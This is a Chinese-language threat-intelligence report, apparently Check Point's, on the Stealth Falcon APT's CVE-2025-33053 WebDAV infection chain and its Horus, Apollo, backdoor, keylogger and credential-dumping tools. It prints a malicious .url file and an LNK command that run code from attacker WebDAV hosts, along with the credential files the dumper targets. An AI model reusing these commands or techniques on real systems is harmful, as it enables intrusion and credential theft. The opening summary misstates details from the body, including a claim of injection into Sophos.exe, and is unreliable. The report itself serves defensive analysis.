本文深入探讨了Stealth Falcon高级持续性威胁(APT)组织近期发起的网络间谍活动。该活动利用了微软WebDAV协议中的零日漏洞(CVE-2025-33053),通过精心伪装的.url文件从受控服务器执行恶意软件。Check Point Research于2025年6月10日确认了这一漏洞,并由微软在当月补丁星期二更新中发布修复程序。文章特别分析了攻击者如何通过模拟政府招标的钓鱼邮件进行初始渗透,并针对Sophos安全软件实施创新的“进程空心化”攻击技术,将恶意代码注入合法进程(如Sophos.exe)。结合Sophos Central Admin的威胁防护文档和2024年PCRisk关于钓鱼攻击趋势的研究(指出此类感染在24小时内激增),本文揭示了国家支持网络威胁日益复杂的特点。本文旨在为网络安全从业者提供深入见解,以应对此类高级攻击。
主要发现
-
Check Point Research (CPR) 发现了 APT 组织Stealth Falcon发起的一项新攻击活动。该攻击使用了一个利用零日漏洞 ( CVE-2025-33053 ) 的 .url 文件,从攻击者控制的 WebDAV 服务器执行恶意软件。
-
CVE-2025-33053 漏洞允许通过操纵工作目录来执行远程代码。继 CPR 的负责任披露之后,微软于 2025 年 6 月 10 日发布了补丁,作为 6 月补丁星期二更新的一部分。
-
Stealth Falcon 的活动主要集中在中东和非洲,其目标包括土耳其、卡塔尔、埃及和也门的政府和国防部门。
-
Stealth Falcon 继续使用鱼叉式网络钓鱼电子邮件作为感染方法,通常包含利用WebDAV和LOLBins部署恶意软件的链接或附件。
-
Stealth Falcon 部署基于开源红队框架Mythic 的定制植入程序,这些植入程序源自现有代理或我们称之为Horus Agent 的私有变体。这种定制不仅引入了反分析和反检测措施,还能在最终交付更高级的有效载荷之前验证目标系统。
-
此外,该威胁组织还采用了多个以前未公开的自定义有效载荷和模块,包括键盘记录器、被动后门和DC Credential Dumper。
介绍
2025年3月,Check Point Research 发现一起针对土耳其一家国防公司的网络攻击企图。威胁行为者使用一种此前未公开的技术,通过操纵合法内置 Windows 工具的工作目录来执行托管在其控制的 WebDAV 服务器上的文件。在负责任地披露漏洞后,微软已将该漏洞编号为CVE-2025-33053,并于2025年6月10日发布了补丁,作为其6月补丁星期二更新的一部分。根据攻击的战术、技术和程序 (TTP)、基础设施、代码重叠以及目标概况,我们将此活动归咎于 Stealth Falcon 威胁组织。
Stealth Falcon(也称为 FruityArmor)是一个高级持续性威胁 (APT) 组织,以进行网络间谍活动而闻名,至少自 2012 年以来一直活跃。多年来,据观察,
Stealth Falcon获取零日漏洞并使用复杂的定制有效载荷,在其网络间谍活动中找到针对中东各地实体的目标。
https://www.kaspersky.com/about/press-releases/kaspersky-lab-uncovers-windows-zero-day-exploited https://www.welivesecurity.com/en/eset-research/stealth-falcon-preying-middle-eastern-skies-deadglyph/
在本报告中,我们分析了 Stealth Falcon 近年来使用的感染链,包括利用基于 WebDAV 的 CVE-2025-33053 漏洞来传播 Horus Agent,这是一种为 Mythic C2(命令与控制)开源框架构建的定制植入体。Horus Agent 以埃及天神荷鲁斯(Horus)的名字命名,荷鲁斯通常被描绘成鹰头人形,是该组织先前使用的定制 Apollo 植入体的进化版。我们还重点介绍了该威胁组织高级间谍工具集中一些此前未披露的定制后利用工具和模块的功能。
感染链:CVE-2025-33053 和 .url 文件
TLM.005_TELESKOPIK_MAST_HASAR_BILDIRIM_RAPORU.pdf.url一个名为(土耳其语: )的文件TLM.005 TELESCOPIC MAST DAMAGE REPORT.pdf.url由一位与土耳其一家大型国防公司相关的消息人士提交至 VirusTotal。根据其名称模式以及 Stealth Falcon 攻击的历史记录,该 .url 文件很可能是以网络钓鱼邮件中的存档附件形式发送的。文件内容如下:
[InternetShortcut]URL=C:Program FilesInternet Exploreriediagcmd.exeWorkingDirectory=\summerartcamp[.]net@ssl@443/DavWWWRootOSYxaOjrShowCommand=7IconIndex=13IconFile=C:Program Files (x86)MicrosoftEdgeApplicationmsedge.exeModified=20F06BA06D07BD014D
此 Internet 快捷方式文件中的参数 URL 指向 iediagcmd.exeInternet Explorer 的合法诊断实用程序。
通常,此实用程序在运行时会生成其他进程来收集诊断数据,例如:
ipconfig.exe /allnetsh.exe in tcp show globalnetsh.exe advfirewall firewall show rule name=allverboseroute.exeprint
使用标准 .NET Process.Start() 方法:
图 1 – 合法的 iediagcmd.exe 生成辅助进程。LaunchProcess 函数在底层使用了标准的 .NET Process.Start() 方法。
根据搜索顺序, Process.Start() 函数首先在调用应用程序的当前文件夹中搜索要运行的可执行文件。由于工作文件夹被 .url 更改为攻击者控制的 WebDAV 服务器路径
WorkingDirectory=\summerartcamp[.]net@ssl@443/DavWWWRootOSYxaOjr,
该 iediagcmd 工具将运行 route.exe 攻击者放置的可执行文件, \summerartcamp[.]net@ssl@443/DavWWWRootOSYxaOjrroute.exe 而不是文件夹中的合法可执行文件 system32 。
我们在报告后面分析的恶意软件中的一些痕迹表明,威胁行为者还 CustomShellHost.exe以类似的方式滥用另一个合法的可执行文件,导致它 从其工作文件夹中生成。 explorer.exe
之前曾讨论过一种类似的技术, 即通过 .url 文件从远程服务器加载 DLL 并进行 DLL 劫持,但直到现在我们才发现该技术被用于可执行文件。在向 Microsoft 报告后,该问题被编号为 CVE-2025-33053。
执行 .url 文件后,将释放以下多阶段感染链:
图 2 – 感染链。
Route.exe – Horus 加载器
从攻击者的 WebDAV 服务器执行的恶意文件 route.exe 充当多阶段加载器。它用 C++ 编写,并使用 Code Virtualizer(一种代码保护系统),该系统将代码转换为自定义虚拟机 (VM) 指令,使逆向工程师难以分析或修改。它是 Themida 保护器的轻量级版本,Stealth Falcon 之前曾大量使用过,但缺少 Themida 附加的混淆、反调试、防篡改和反挂钩功能。加载器已签名,但签名已过期且没有 TSA 时间戳,这可能会阻止某些安全产品使用 Code Virtualizer 或 Themida 自动检测未签名的样本。
图 3 – Horus 加载器的数字证书。
XXXXXXHorus Loader 具有高度可定制性,其每个功能均由“ ”格式的默认值控制:
-
清理前几个阶段的遗留问题
-
实施逃避
-
投放并执行诱饵文档
-
加载最终有效载荷
清理
加载程序的代码包含一个选项,用于终止执行早期阶段的进程。我们分析的样本中并未使用这些选项。然而,这个 taskkill 选项使我们能够推断出加载程序的其他执行方式:
图 4 – 攻击者可以在编译时修改默认字符串(KILKIL),以终止早期阶段的特定进程。例如,将其更改 KILKIL 为 IEGIEG 即可终止 iediagcmd.exe。
我们假设它没有在这个示例中使用,因为加载器有另一个清理选项,它使用两个动态创建的目标进程来杀死。
图 5 – 使用动态创建常量来终止指定进程的代码。
这段代码似乎存在一个错误:它没有终止前一阶段的进程,而是将两个全局常量错误地设置为“i”和“e”。因此,加载程序总是尝试终止不存在的进程:
-
taskkill.exe /IM i /F
-
taskkill.exe /IM e /F
逃避
Horus Loader 手动映射 kernel32.dll 并 ntdll.dll 用于反分析/反调试目的。
它还会扫描正在运行的进程,以查找安全解决方案。如果检测到杀毒进程,则会设置一个全局变量,该变量的值基于枚举,代表已安装的供应商。该检查针对来自 17 个不同供应商的 109 个进程名称列表进行。
图 6 – 枚举寻找安全解决方案的进程的部分代码。
根据预定义的标志,它可以根据已安装的安全供应商决定是否立即停止执行:
图 7 – 根据安全供应商决定停止执行的代码。
诱饵文档解密与执行
执行诱饵有五种不同的方式,但在针对土耳其公司的样本代码中,只实现了一种:
图 8-诱饵执行条件。
在这种情况下,诱饵或引诱是存储在该 .udata 部分中的PDF文件。加载程序会解密内存中的整个部分 .udata ,然后将解密后的PDF文件写入文件%temp%TLM.005_TELESKOPIK_MAST_HASAR_BILDIRIM_RAPORU.pdf, ,并使用以下命令打开它 cmd.exe:
图 9-诱饵 PDF 文档。
有效载荷执行
当受害者查看诱饵文档时,加载程序会在后台继续执行恶意感染链。
主要有效载荷存储在该 .xdata 部分中。加载程序对其进行解密,但解密后显示的不是预期的shellcode或PE文件,而是一大串IPv6地址:
图 10-Horus Loader 中有效载荷的 IPfuscation。
然后,这些 IPv6 地址会被转换为有效载荷,需要调用数千次函数 RtlIpv6StringToAddressA,该函数会将 IPv6 地址转换为字节。这是一种名为“IPfuscation”的已知技术。接下来,加载程序会创建一个挂起的进程: "C:Program Files (x86)MicrosoftEdgeApplicationmsedge.exe"。它会分配并写入有效载荷,然后切换主线程的执行上下文。所有这些都发生在虚拟机内部,但 Tiny Tracer 在我们的分析中发挥了极其重要的作用:
59c1b;ntdll.ZwAllocateVirtualMemory791e1;ntdll.ZwWriteVirtualMemory791e1;ntdll.NtProtectVirtualMemory59c1b;kernel32.GetThreadContext7f687;kernel32.SetThreadContext791e1;ntdll.NtResumeThread7f687;kernel32.CloseHandle791e1;kernel32.CloseHandle
将shellcode注入目标进程后,通过自制的基于块的密码解密另一个blob。解密块的密钥和其他属性存储在shellcode中:原始区域、大小、密钥、校验和等。解密后,我们可以看到一个包含部分PE文件的blob:
图 11 – 压缩的有效载荷 DLL。
解密的 blob 需要预加载某些 DLL,例如 shell32.dll。shellcode 解压缩有效载荷 DLL,手动将其映射到内存中,并执行其 _1 导出。
荷鲁斯特工:定制神话植入物
最终的有效载荷是为开源红队 C2 框架 Mythic 定制的代理。该植入体以 C++ 编写,除了与 Mythic C2 通信相关的通用逻辑存在共通性外,与已知的基于 C 语言的 Mythic 代理没有显著重叠。因此,与其他以希腊诸神命名的 Mythic 植入体类似,我们将这款定制植入体命名为“荷鲁斯”(Horus),以埃及人鹰之神命名。
代码混淆和反分析技术
虽然加载程序确保实施一些措施来保护有效载荷,但威胁行为者在后门本身内设置了额外的预防措施。
Horus Agent 使用的似乎是自定义的 OLLVM,同时使用了字符串加密和控制流展平技术。字符串采用简单的移位密码进行编码, 39 每个字符减一,但自动解密字符串可能非常困难,因为加密的字符串可能驻留在堆栈中,也可能被指向数据段的指针引用:
图 12 – 从已加载的 Windows 模块中检索并解密混淆字符串的代码。
该例程还进入控制流平坦化,使反编译的输出看起来相当混乱和无用。
图 13 – 字符串解密与控制流平坦化相结合。
由于大多数字符串都存储在该 .rdata 段中,我们可以直接从那里解密它们,并跳过执行过程中对解密例程的分析。这些解密例程通常在函数的开头运行,然后是实际的函数逻辑,因此我们可以直接从中解密字符串 .rdata ,然后转到函数的核心功能。
图 14 – 解密的字符串。
Horus Agent 也实现了 API 哈希算法, 类似于 其他攻击者的有效载荷。Horus 首先为所需函数创建一个结构体,为每个函数分配一个哈希值,然后一次性解析所有函数。该后门使用多个导入解析结构体来执行各种操作,包括解密、网络、COM、令牌操作等。每个结构体仅在被使用时才会被解析。
图 15 – API 哈希值。
在任何恶意活动启动之前执行的第一个函数实际上不会执行任何操作。它包含对各种 Windows DLL 函数(例如 GDI32、Winspool、User32 等)的调用,但这些函数实际上从未在运行时执行。
图 16 – 未使用的植入物进口。
这可能是为了混淆静态分析引擎,因为包含看似无害且常见的 Windows API 导入,使得 DLL 更像合法的 Windows 组件。 在之前的 Stealth Falcon 后门中也观察到了同样的技术。
图 17 – 一些在正常条件下永远不会运行的 API 的条件执行。
配置和 C2 通信
所有 C2 配置字段都存储在植入体中,并使用 RC4 解密。每个字段使用基于其索引修改的共享 RC4 密钥单独解密。有效载荷中的另一个选项是通过解密 JSON 文件然后加载它来加载配置。
自定义 C2 服务器配置很可能基于 httpx Mythic 配置文件,该配置文件支持多域、使用 HMAC 的 AES 加密以及 Horus 代理中包含的其他功能。该配置大致可以用以下结构表示:
struct config { _BYTE padding1[24]; char uuid[37]; // hardcoded: bd10efec-3067-3329-620b-600d158dc62e _BYTE aes_key[32]; char rc4_c2_domain_1[256]; char rc4_c2_domain_2[256]; char rc4_c2_domain_3[256]; char rc4_c2_domain_4[256]; char rc4_killswitch_date[16]; // 31/12/2099 _BYTE rc4_dec_str_query_parameter[256]; // jNNsw _BYTE rc4_dec_str_c2_endpoint_get[256]; // PjH1BHszPooXyiHS3s _BYTE rc4_dec_str_c2_endpoint_post[256]; // uukEQ38A _BYTE rc4_user_agent[256]; // Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko _DWORD ukn_dword; _DWORD rand_base_1; _DWORD rand_base_2; _DWORD jitter_amount; _DWORD sleep_amount; _DWORD communication_timeout; _BYTE flag_create_mutex; _DWORD flag_config_from_raw_json; _BYTE rc4_raw_json[]; };
是 UUID 一个硬编码参数,在构建代理时生成。如果设置了该 标志,后门将创建一个与 配置中create_mutex 的样本名称相同的互斥锁 。UUID
Mythic 代理通常会向 C2 服务器发送 3 种类型的消息:
-
代理与 C2 服务器进行登记 - 在我们的例子中,GET 端点与查询参数(/PjH1BHszPooXyiHS3s?jNNsw=)一起使用,数据在查询值中发送。
-
代理轮询其任务 - GET 端点与查询参数一起使用,数据在查询值中发送
-
代理发送响应 – POST 端点用于在正文中发送数据。
自定义代理不会更改协议。安装后,代理需要在服务器上注册(签入)。它会收集受感染计算机上的初始信息,例如用户名、操作系统、域名等。所有数据都会被收集成 JSON 格式,如下所示:
{"action":"checkin","ip":"x.x.x.x","os":"Windows 10 Pro","user":"user","host":"DESKTOP-HOST","domain":"domain","pid":1331,"uuid":"bd10efec-3067-3329-620b-600d158dc62e","architecture":"amd64"}
发送的数据使用 AES 和 HMAC 加密,以确保完整性。这种加密方式的选择可能源于威胁参与者使用的 C2 配置文件。首先,生成一个随机 IV,并使用配置中的密钥和生成的 IV 对明文进行加密。接下来,对 IV 和加密的 JSON 计算 HMAC-SHA256 校验和,以确保数据完整性。最后,将 UUID 添加到数据前面。数据包的结构如下:
struct network_packet{byte UUID[36];byte IV[16];byte encrypted_data[];byte hmac_sha256_checksum[16];}
整个数据包都经过 base64 编码,并以查询字符串的形式发送到 C2 服务器。C2 服务器应该会响应一个类似的 base64 编码加密网络数据包。解密后的 JSON 格式如下:
{"status":"success","id":"[semicolon-separated bot UID]","action":"checkin"}
从此刻起,服务器和代理之间的所有通信都使用数据包开始时新收到的机器人 ID。
C2命令
成功登录后,后门将进入无限循环,检索 C2 命令(get_tasking 以 Mythic C2 协议语言表示)。Horus Agent 支持以下命令:
调查:自定义枚举函数
该 survey 命令是一个自定义系统枚举函数,它收集以下数据:
-
SELECT * FROM Win32_Service WHERE State='Running' 服务:使用带有 命名空间的WMI 查询 ROOTCIMV2 来收集有关正在运行的服务的信息并保存字段 DisplayName 和 ServiceName。
-
Battery:使用该函数 GetSystemPowerStatus ,然后解析返回的 SYSTEM_POWER_STATUS 结构。示例输出如下:
"Battery": [ {"ACLineStatus": "1","BatteryFlag": "8","BatteryLifePercent": "72","BatteryLifeTime": "5200","BatteryFullLifeTime": "7200" }
-
用户:检索 %USERPROFILE% 路径并提取用户名。
-
进程:使用 Windows API 收集进程 ID、架构、名称、运行用户、路径和父进程 ID。
-
网络配置: ROOTCIMV2 使用查询命名空间 FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = 'True',并解析系统网络设置的详细信息,例如主机名、IP 地址、DHCP 和 DNS 设置、网关和网络适配器信息。
Shinjectchunked
虽然 shinjectMythic 内置了一个用于将 Shellcode 注入远程进程的命令,并且一些开源代理也支持该命令,但威胁行为者在其自定义代理中开发了自己的版本——该版本功能更强大,可高度定制。该命令提供了多种进程注入方法,其目标可执行文件似乎位于目录中 %SYSTEMROOT%System32 。Shellcode 本身可以通过多个请求分块发送,然后组合成一个 Blob 进行注入。
C2服务器会随 shinjectchunked 命令发送多个参数。其中一个参数是进程名称:如果指定的进程已在运行,后门就会注入到正在运行的实例中。该命令提供两种注入方法,具体取决于是否 stealth 提供参数。
第一种方法是经典的进程注入,非常简单:打开进程,分配并写入内存,然后创建远程线程。
图 18 – Shellcode 注入,一种没有参数的变体。
在第二种方法中,该 stealth 选项首先检查计算机上正在运行的几个进程。奇怪的是,所有这些进程都只与一个安全供应商 Sophos 相
如果受感染的计算机上有任何进程正在运行,则默认采用第一种简单进程注入方法。否则,隐形方法会通过分配内存、将接收到的 Shellcode 复制到该进程并创建线程来执行 Shellcode,从而将 Shellcode 注入到 同一 进程中。
图 19 – Shellcode 注入。
定制和功能
此前,我们观察到 Stealth Falcon 会定制现有的开源 Mythic 代理(如下一节所述)。相比之下,新的 Horus 代理似乎是从零开始编写的。除了添加自定义命令外,威胁行为者还特别强调了代理及其加载程序的反分析保护和反防御措施。这表明他们对受害者和/或所使用的安全解决方案都有深入的了解。
该代理的命令列表显示,威胁行为者有意限制了其功能,专注于最基本的功能:对受害者的机器进行指纹识别以评估其价值,并在目标被认为有价值时部署下一阶段的有效载荷。这种方法可能有助于保护他们的其他自定义后利用有效载荷,其中一些我们将在以下章节中讨论。
当阿波罗遇见星际迷航
Stealth Falcon 曾使用 Mythic 代理作为初始 Payload。在 2022 年至 2023 年期间,我们观察到 Stealth Falcon 使用了多级加载器,其中一些加载器提供了 Apollo的定制版本(Apollo 是针对 Mythic 框架的开源 .NET 代理)。
这些加载器都带有 .cpl (控制面板文件)扩展名。有趣的是,它们大多数都以《星际迷航》中的角色命名,例如 JeanLucPicardbrownie.cpl、 crunch-TravisMayweather.cpl、 LonSuderVash.cpl。
这些 CPL 是通过鱼叉式网络钓鱼电子邮件分发的,其中包含指向攻击者控制的远程服务器的链接:
图 20 – 发送给卡塔尔知名受害者的网络钓鱼邮件。邮件中没有文档链接,而是指向攻击者控制的 WebDAV 服务器的链接。
虽然电子邮件和 CPL 之间的确切感染链尚不清楚,但本例中的恶意软件执行依赖于 WebDAV。这解释了为什么加载程序中的某个阶段(可能是尝试删除与感染链相关的文件)会通过删除以下目录中的所有文件来删除 Windows WebDAV 缓存:
%WINDIR%ServiceProfilesLocalServiceAppDataLocalTempTfsStoreTfs_DAV
CPL 加载器会启动两条不同的加载链。第一条加载链已由 ESET 彻底 分析 ,并以一个 Shellcode 下载器结束,该下载器旨在从攻击者的 C2 服务器检索 Shellcode。与 ESET 的经历类似,我们未能检索到该 Payload,但可以推测它是该组织使用的已知 Payload 之一,其中一些 Payload 我们稍后会讨论。
图 21 – 多阶段加载链提供用于从 C2 服务器检索 Shellcode 的下载器。
第二个类似:
图 22 – 在内存中链式加载自定义 Apollo Mythic 代理。
它包括以下几个阶段:
-
CPL 使用 XOR 解密嵌入的第二阶段(shellcode)。
-
CPL 生成一个处于挂起状态的新进程(我们将其观察 C:Windowssystem32WWAHost.exe 为主机进程),将解密的 shellcode 注入其中并执行 shellcode。
-
然后,shellcode 分配并执行一个额外的 DLL,即一个基于 .NET 的加载器。
-
加载器加载最终的有效载荷,即一个定制的 Apollo 植入物 .NET 可移植可执行文件。
定制的Apollo代理
Apollo 是一个基于 Mythic 框架的 Windows 代理,使用 C# 编写。Stealth Falcon 使用的植入程序通过 ConfuserEx 进行了混淆,使用了控制流和字符串混淆技术。虽然 Mythic 支持多种命令,但威胁行为者只使用了其中很小一部分,并且还使用了一些额外的命令对代理进行了自定义。
从所有受支持的命令的概述中可以清楚地看出,该列表与 C++ 植入物的列表非常相似:
定制版 Apollo 和 Horus Agent 在 C2 功能方面的区别相当有限:
-
Horus 变体包括 upload Mythic 内置的命令,而 Apollo 植入物则缺乏该命令。
-
Horus 变体将 2 个自定义命令合并为一个, shinjectchuncked 并 shinjectstealth 使用“隐身模式”作为参数。
通过这个简短的比较,我们相信 Horus 是威胁组织定制的 Apollo 植入物的更高级版本,用 C++ 重写、改进和重构。
与 Horus 版本类似,Apollo 版本引入了广泛的受害者指纹识别功能,同时限制了支持的命令数量。这使得威胁行为者能够专注于隐秘地识别受感染的机器并进行下一阶段的有效载荷投递,同时使植入体的大小显著小于完整代理(仅 120KB)。
更多 LOLBins 和 WebDAV
这封电子邮件于 2023 年 10 月发送给卡塔尔一家知名实体:
图 23 – 发送给其中一名受害者的网络钓鱼电子邮件。
该电子邮件包含一个附加的 ZIP 文件 Supplier prequalification application form.zip ,该文件又包含一个 LNK 文件 Supplier.lnk。LNK 文件在执行时会运行以下命令:
"C:Windowssystem32cmd.exe" ) ( ) ) ( ) ( ) ( ) cmd /c DeviceCredentialDep^loyment & cmd /V:ON /C "set EDITOR=chttpim& pushd \mystartupblog.com@ssl@443eQwcvcZIy&start /B https://mystartupblog.com/ePkNWY/deUsplnb.pdf&timeout8&@for^files /p c:windows /m notepad.exe /c \mystartupblog.com@ssl@443eQwcvcZIySupplier0.8bps&popd"
DeviceCredentialDeployment.exe 是一个 已知的 LOLBin,用于隐藏 CMD 窗口,因此它在后台运行:
-
cmd /V:ON /C 启用延迟环境变量扩展并运行以下命令。
-
set EDITOR=chttpim 将环境变量的 EDITOR 值设置为 chttpim。该值很可能稍后会在攻击者的脚本中使用。
-
pushd \mystartupblog.com@ssl@443eQwcvcZIy 将当前目录更改为网络位置 \mystartupblog.com@ssl@443eQwcvcZIy
-
start /B https://mystartupblog.com/ePkNWY/deUsplnb.pdf 在后台默认浏览器中打开诱饵 URL(/B 标志)。遗憾的是,我们发现该文件时,PDF 版本不可用。
-
Forfiles 是另一个 LOLBin, 如果条件匹配, 则执行命令/p c:windows。在本例中 ,指定了查找特定文件的路径,并 /m notepad.exe 指定了具体文件。
-
/c \mystartupblog.com@[email protected] 指定要执行的命令(因为 notepad.exe 总是会在 中找到 c:windows)。该文件不可用,但我们假设它是一个提供下一阶段的脚本,并使用先前设置的 EDITOR 环境变量。
-
popd 返回 后的上一个目录 pushd。
这个案例是另一个值得注意的例子,说明威胁行为者如何将多个 LOLBins 组合在一个依赖 WebDAV 的感染链中。
入侵后工具集
除了 Deadglyph的磁盘组件(其中大多数受 Themida/OLLVM 或两者保护)之外,我们最近还观察到一些与 Stealth Falcon 活动相关的、此前未记录的工具。在本节中,我们将对我们认为最有趣的工具进行分析。
DC 凭证转储器
该组件由类似Horus的加载器部署。它使用Code Visualizer进行混淆,并手动映射 kernel32.dll 和 ntdll.dll注入, C:WindowsSystem32UserAccessBroker.exe将shellcode映射到进程中,然后执行。
该工具相对简单,但它围绕一个有趣的概念构建:通过访问系统磁盘的 VHD 副本来窃取 Active Directory 和域控制器凭据相关文件,从而有效地绕过文件锁和标准安全保护。
该凭证转储程序似乎旨在与另一个组件(我们尚未观察到)协同工作。它似乎以一个已被攻陷的域控制器为目标,依赖一个单独的模块在路径 处创建虚拟磁盘副本 C:ProgramDatads_notifier_0.vhdx。其 ds_notifier 命名约定模仿了合法趋势科技组件的命名约定。
该转储程序专门针对以下文件:
-
WindowsNTDSNTDS.dit
-
WindowsSystem32ConfigSAM
-
WindowsSystem32ConfigSYSTEM
这些文件组合在一起后,攻击者可以提取、解密并滥用凭证——无论是离线攻击还是用于实时攻击。由于这些文件被系统进程主动使用和锁定,该工具可以通过在虚拟磁盘上操作来绕过这些限制。
为了实现此目的,转储程序使用开源 .NET 库 DiscUtils 直接从 VHD(C:ProgramDatads_notifier_0.vhdx)读取并提取目标文件。然后,它使用 Gzip 压缩每个文件:
图 24 – 使用 DiscUtills 库从虚拟磁盘读取文件。
提取后,该工具将所有输出文件捆绑到一个压缩的 ZIP 文件中,并保存为 C:ProgramDatads_notifier_2.vif.
值得注意的是,该凭证转储程序不包含任何 C2 或泄露机制,并且可能依赖于其他组件来检索或泄露生成的档案。
该工具还包含一个由加密字节标志控制的日志记录功能。如果此标志设置为 1,则该工具会创建日志并将其写入 %temp%logfile.log。
被动后门
名为被动后门的样本 usrprofscc.exe 是一个用 C 语言编写的微型应用程序。其主要目的是监听传入的请求并从中执行 shellcode 有效负载。
后门基本上没有被混淆,除了一些字符串加密使用基于所有字符串共享的单个密钥的简单算法,该算法在字符串中的字符和密钥中的字符之间应用加法运算:
图 25 – 字符串解密例程示例。
该可执行文件还包含两个 AES 加密的数据 blob:一个存储有关运行后门的服务的信息,另一个包含用于网络通信的辅助常量值。两者都使用相同的密钥加密:
aes_key_1 = { 5D EC B6 420298 AF F8 4A E6 A9 EF 571B 4129148D 09 BB 99 DD 08 D8 57 A7 2D 3F 6E D1 DA FA }aes_iv_1 = { E6 A6 D2 5A 3F B5 5743 F2 26 B5 B4 B4 DC A8 56 }
该样本根据接收的参数有三种运行模式:
-
install – 创建新服务。
-
uninstall – 删除并停止已创建的服务。
-
debug - 调试模式,程序通过 手动调用主服务函数 StartServiceCtrlDispatcherA,使其无需服务控制管理器的管理即可运行。该模式可用于测试后门,而无需将其安装为 Windows 服务。
后门需要管理员权限才能运行。触发安装模式后,将使用以下参数创建服务:
-
服务名称:UsrProfSCC
-
服务显示名称:User Profile Service Check
-
服务描述:This service checks for the service that supports user profile updating.
该服务会创建一个套接字来监听请求。如果收到请求,则会对其进行 AES 解密和验证。如果验证成功,则根据收到的数据中的参数,服务可以通过连接到套接字来开始新的通信,或者根据请求中指定的条件监听新的套接字。
在这两种情况下,接收到的shellcode的处理方式相同:创建一个线程负责执行它。根据接收到的数据中的参数:
-
shellcode 可以直接执行,无需考虑其结果,或者
-
创建一个具有随机名称的管道,可用于发回执行的shellcode的结果。
在这两种情况下,都会返回线程完成/线程结果的指示。
所有网络通信均使用与服务信息相同的密钥进行 AES 加密。
自定义键盘记录器
StatusReport.dll键盘记录器由其加载器(名为 的 DLL ,用 C++ 编写)提供 。
加载程序使用简单的XOR字符串解密,其中大多数字符串都被加密:
图 27 – 字符串混淆。
该加载器也使用了 API 哈希值,但令人惊讶的是,并非所有 API 导入都经过了哈希处理。其中一些 API 仍然未被混淆,例如:
ExpandEnvironmentStringsAWriteProcessMemoryGetThreadContextSetThreadContextResumeThread
这可能表明使用它们的代码是单独添加的。
解析导入语句后,加载器会尝试通过抓取并复制其令牌来进行模拟 。然后,它会尝试 使用该函数 explorer.exe 启动进程 ,最后将 Shellcode 写入新创建的进程中。Shellcode 位于原始 DLL 中,且未加密。%windir%system32dxdiag.exeCreateProcessAsUserA
然后,shellcode 执行相同的导入解析,以未加密的形式加载其中嵌入的 DLL,并调用 _1 已加载 DLL 的导出。
与加载它的组件不同,键盘记录器 DLL 不使用 API 哈希算法。首先,它根据自身包含的硬编码密钥设置 RC4 密钥。然后,它使用 RC4 密钥解密配置 667F879621D8F492。
解密后的配置如下所示:
struct config{DWORD key_size = 0x20;char rc4_key[0x20] = {F542 D8 EB CA 0C 56 F8 1F 21 0F 43 D4 F1 44 A0 428708 AC CA F8 9A DE 44 CC 01 0B 65 0C FA E3} DWORD ukn_1;DWORD ukn_2;wchar_t path[256] = L"C:WindowsTemp~TN%LogName%.tmp";wchar_t log_name[32] = L"LogName";DWORD uuid_related; }
配置解密后,键盘记录器会为其击键捕获功能设置各种 API,并将所有记录的击键连续写入到 下的文件中 C:/windows/temp,并使用配置中的 RC4 密钥进行加密。
键盘记录器没有任何 C2 通信功能,因此它需要与能够抓取输出文件并将其发送到 C2 服务器的其他组件协同工作。
结论
Stealth Falcon 正在不断发展,以变得更加高效。威胁行为者最近的行动涉及利用零日漏洞 (CVE-2025-33053),并通过利用 WebDAV、LOLBins、多阶段加载器以及混合使用原生和 .NET 组件,展示了一种创新的感染链方法。
威胁行为者也投入了大量精力来提升其有效载荷的隐蔽性和韧性。Stealth Falcon 采用了商用代码混淆和保护工具,以及针对不同有效载荷类型的定制修改版本。这使得他们的工具更难以逆向工程,也使得追踪技术变化变得更加复杂。
Stealth Falcon 会持续通过 NameCheap 注册商购买并重新利用较旧的合法域名,通常是 .net 或 .com 顶级域名,以构建其攻击基础设施。历史清白、信誉良好的旧域名不太可能被安全系统标记为恶意域名,而且使用它们也使归因和基础设施追踪变得更加复杂。
所有这些使得 Stealth Falcon 能够确保其定制有效载荷在受监控的环境中不被发现 - 或者至少使它们难以被追踪、分析和归因。
ba5beb189d6e1811605b0a4986b232108d6193dcf09e5b2a603ea4448e6f263c url filee0a44274d5eb01a0379894bb59b166c1482a23fede1f0ee05e8bf4f7e4e2fcc6 url fileda3bb6e38b3f4d83e69d31783f00c10ce062abd008e81e983a9bd4317a9482aa Horus Loaderddce79afe9f67b78e83f6e530c3e03265533eb3f4530e7c89fdc357f7093a80b Horus Agent1d95a44f341435da50878eea1ec0a1aab6ae0ee91644c497378266290a6ef1d8 custom Apollo700b422556f070325b327325e31ddf597f98cc319f29ef8638c7b0508c632cee keylogger loaderaa612f53e03539cdc8f8a94deee7bf31f0ac10734bb9301f4506b9113c691c97 keylogger66a893728a0ac1a7fae39ee134ad4182d674e719219fbf5d9b7cd4fd4f07f535 passive backdoorcd6335101e0187c33a78a316885a2cbf4cbbd2a72daf64a086edb4a2615749fb credential dumper loader257c63a9e21b829bb4b9f8b0e352379444b0e573176530107a3e6c279d1919da credential dumper5671b3a89c0e88a9bfb0bd5bc434fa5245578becfdeb284f4796f65eecbd6f15 3259ecfb96d3d7e2d1a782b01073e02b3488a3922fd2fd35c20eeb5f44b292ec 8065c85e387654cb79a12405ff0f99fd4ddd5a5d3b9876986b82822bd10c716f 0598e1af6466b0813030d44fa64616eea7f83957d70f2f48376202c3179bd6b1 f270202cd88b045630f6d2dec6d5823aa08aa66949b9ccd20f6e924c7992fea7 092c344330bd5cba71377dead11946f7277f2dd4af57f5b636b70b343bc7ebe0 dc7cb53c5dc2e756822328a7144c29318cb871890727eff9c8da64a01e8e782d db7364296cc8f78981797ffb2af7063bba97e2f6631c29215d59f4979f8b4fce 4e045c83cf429210e71e324adccad8818540b9805a44c8d79a8c16c3d5f6fbb6 62797e28a334e392cb56fcc26dd07f04ac031110f0e9ed8489ec0825beea75eb dec6dda0559e381c23f1dfbe92fa4705c8455430f8278c78c170a7533b703296 32f2773ceb6503f8a1c3e456d34ceda5c188974a115e5225a1315e7ec3f8eb5e 50a2b6c1b0a0d308e8016aece9629c1bf6ca4ecc6f4cef34c904e9c3e82355fb 9ed8f51548a004ac61b7176df12a0064dc3096088cbf3c644a9abdb5c92936f7 9a82e21c2463d6c23a48409a862e668ed9c205468d216d2280f7debe1ab1ddd8 46c95af6fea41b55fa0ab919ec81d38a584e32a519f85812fe79a5379457f111 c5b00e8312e801dc35652c631a14270ed4eec8f6d90d08cdde3c6e7fd1ec24b6 3b83250383c2a892e0ca86e54fcc6aca9960fc4b425ab9853611ff3e5aa2f9c6 